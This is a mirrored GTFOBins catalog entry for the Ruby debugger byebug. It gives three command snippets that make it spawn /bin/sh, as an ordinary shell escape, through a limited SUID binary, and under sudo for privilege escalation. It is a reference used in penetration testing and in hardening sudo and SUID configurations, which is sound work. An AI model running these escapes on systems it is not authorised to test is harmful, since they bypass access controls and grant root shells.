mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-10-22 16:48:09 +02:00
22 lines
389 B
Markdown
22 lines
389 B
Markdown
|
---
|
||
|
functions:
|
||
|
shell:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo 'system("/bin/sh")' > $TF
|
||
|
byebug $TF
|
||
|
continue
|
||
|
limited-suid:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo 'system("/bin/sh")' > $TF
|
||
|
./byebug $TF
|
||
|
continue
|
||
|
sudo:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo 'system("/bin/sh")' > $TF
|
||
|
sudo byebug $TF
|
||
|
continue
|
||
|
---
|